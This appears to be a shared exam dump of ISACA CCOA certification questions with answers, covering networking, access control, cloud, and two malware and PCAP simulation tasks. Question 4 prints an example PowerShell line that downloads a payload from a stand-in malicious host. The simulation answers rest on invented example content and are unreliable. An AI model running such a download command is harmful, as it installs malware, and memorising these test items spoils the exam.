Download Isaca CCOA Exam Dumps Free

Shared by Delacruz on 17-06-2026

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

Which of the following network topologies is MOST resilient to network failures and can prevent a single point of failure?

Options:

A- Mesh
B- Star
C- Bus
D- Ring

Answer:

A

Explanation:

A mesh network topology is the most resilient to network failures because:

Redundancy: Each node is interconnected, providing multiple pathways for data to travel.

No Single Point of Failure: If one connection fails, data can still be routed through alternative paths.

High Fault Tolerance: The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.

Ideal for Critical Infrastructure: Often used in environments where uptime is critical, such as financial or emergency services networks.

Other options analysis:

B . Star: A central hub connects all nodes, so if the hub fails, the entire network collapses.

C . Bus: A single backbone cable means a break in the cable can disrupt the entire network.

D . Ring: Data travels in a circular path; a single break can isolate part of the network unless it is a dual-ring topology.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Security Operations: Discusses network topology and its impact on reliability and redundancy.

Chapter 9: Network Design and Architecture: Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.

Question 2

Question Type: MultipleChoice

Which types of network devices are MOST vulnerable due to age and complexity?

Options:

A- Ethernet
B- Mainframe technology
C- Operational technology
D- Wireless

Answer:

C

Explanation:

Operational Technology (OT) systems are particularly vulnerable due to their age, complexity, and long upgrade cycles.

Legacy Systems: Often outdated, running on old hardware and software with limited update capabilities.

Complexity: Integrates various control systems like SCADA, PLCs, and DCS, making consistent security challenging.

Lack of Patching: Industrial environments often avoid updates due to fear of system disruptions.

Protocols: Many OT devices use insecure communication protocols that lack modern encryption.

Incorrect Options:

A . Ethernet: A network protocol, not a system prone to aging or complexity issues.

B . Mainframe technology: While old, these systems are typically better maintained and secured.

D . Wireless: While vulnerable, it's not primarily due to age or inherent complexity.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section 'Securing Legacy Systems,' Subsection 'Challenges in OT Security' - OT environments often face security challenges due to outdated and complex infrastructure.

Question 3

Question Type: MultipleChoice

Which option best is the PRIMARY benefit of implementing logical access controls on a need-to-know basis?

Options:

A- Limiting access to sensitive data and resources
B- Ensuring users can access all resources on the network
C- Providing a consistent user experience across different applications
D- Reducing the complexity of access control policies and procedures

Answer:

A

Explanation:

The primary benefit of implementing logical access controls on a need-to-know basis is to limit access to sensitive data and resources. This principle ensures that users and processes have access only to the information necessary for their roles.

Principle of Least Privilege: Minimizes the risk of data exposure by restricting access based on job responsibilities.

Data Protection: Reduces the chance of internal data breaches by limiting who can view or modify sensitive information.

Enhanced Security: Mitigates the risk of privilege misuse or insider threats.

Incorrect Options:

B . Ensuring users can access all resources: This contradicts the need-to-know principle.

C . Providing a consistent user experience: This is unrelated to access control.

D . Reducing the complexity of access control policies: While it can simplify management, the primary goal is data protection.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section 'Access Control Models,' Subsection 'Need-to-Know Principle' - Implementing need-to-know access reduces exposure of sensitive data by restricting access only to necessary users.

Question 4

Question Type: MultipleChoice

SIMULATION

On the Analyst Desktop is a Malware Samples folder with a file titled Malscript.viruz.txt.

Based on the contents of the malscript.viruz.txt, which threat actor group is the malware associated with?

Options:

A- See the solution in Explanation

Answer:

A

Explanation:

To identify the threat actor group associated with the malscript.viruz.txt file, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktop using your credentials.

Locate the Malware Samples folder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

On Windows: Right-click > Open with > Notepad.

On Linux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Any strings or comments embedded within the script.

Specific keywords, URLs, or file hashes.

Any command and control (C2) server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers: Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs): URLs, IP addresses, or domain names.

Code Patterns: Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

Malware Script Sample

Payload linked to TA505 group

Invoke-WebRequest -Uri 'http://malicious.example.com/payload' -OutFile 'C:\Users\Public\malware.exe'

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK: To map the technique or tool.

VirusTotal: To check file hashes or URLs.

Threat Intelligence Feeds: Such as AlienVault OTX or ThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SGVsbG8gd29ybGQ='))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505: Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear): Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group: Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found within malscript.viruz.txt, it may contain specific references or techniques that are typical of the TA505 group.

Answe r:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename: malscript.viruz.txt

Associated Threat Group: TA505

Key Indicators: Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate: If the script was executed, isolate the affected system.

Forensic Analysis: Deep dive into system logs for any signs of execution.

Threat Hunting: Search for similar scripts or IOCs in the network.

Question 5

Question Type: MultipleChoice

Which type of cloud deployment model is intended to be leveraged over the Internet by many organizations with varying needs and requirements?

Options:

A- Hybrid cloud
B- Community cloud
C- Public cloud
D- Private cloud

Answer:

C

Explanation:

A public cloud is intended to be accessible over the Internet by multiple organizations with varying needs and requirements:

Multi-Tenancy: The same infrastructure serves numerous clients.

Accessibility: Users can access resources from anywhere via the Internet.

Scalability: Provides flexible and on-demand resource allocation.

Common Providers: AWS, Azure, and Google Cloud offer public cloud services.

Incorrect Options:

A . Hybrid cloud: Combines private and public cloud, not primarily public.

B . Community cloud: Shared by organizations with common concerns, not broadly public.

D . Private cloud: Exclusive to a single organization, not accessible by many.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section 'Cloud Deployment Models,' Subsection 'Public Cloud Characteristics' - Public clouds are designed for use by multiple organizations via the Internet.

Question 6

Question Type: MultipleChoice

SIMULATION

Following a ransomware incident, the network team provided a PCAP file, titled ransom.pcap, located in the Investigations folder on the Desktop.

What is the name of the file containing the ransomware demand? Your response must include the file extension.

Options:

A- See the solution in Explanation

Answer:

A

Explanation:

To identify the filename containing the ransomware demand from the ransom.pcap file, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to the Investigations folder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

Launch Wireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Click Open to load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB (for network shares)

HTTP/HTTPS (for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains 'README' or frame contains 'ransom'

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

Check HTTP GET/POST or SMB file write operations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with a file transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details:

makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content:

pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answe r:

README.txt

Step 7: Confirm and Document

File Name: README.txt

Transmission Protocol: HTTP or SMB

Content: Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename: README.txt

Method of Delivery: HTTP (or SMB)

Ransomware Message: Payment in Bitcoin

Submit the report to your incident response team for further action.

Question 7

Question Type: MultipleChoice

In the Open Systems Interconnection (OSI) Model for computer networking, which of the following is the function of the network layer?

Options:

A- Facilitating communications with applications running on other computers
B- Transmitting data segments between points on a network
C- Translating data between a networking service and an application
D- Structuring and managing a multi-node network

Answer:

D

Explanation:

The Network layer (Layer 3) of the OSI model is responsible for:

Routing and Forwarding: Determines the best path for data to travel across multiple networks.

Logical Addressing: Uses IP addresses to uniquely identify hosts on a network.

Packet Switching: Breaks data into packets and routes them between nodes.

Traffic Control: Manages data flow and congestion control.

Protocols: Includes IP (Internet Protocol), ICMP, and routing protocols (like OSPF and BGP).

Other options analysis:

A . Communicating with applications: Application layer function (Layer 7).

B . Transmitting data segments: Transport layer function (Layer 4).

C . Translating data between a service and an application: Presentation layer function (Layer 6).

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Protocols and the OSI Model: Details the role of each OSI layer, focusing on routing and packet management for the network layer.

Chapter 7: Network Design Principles: Discusses the importance of routing and addressing.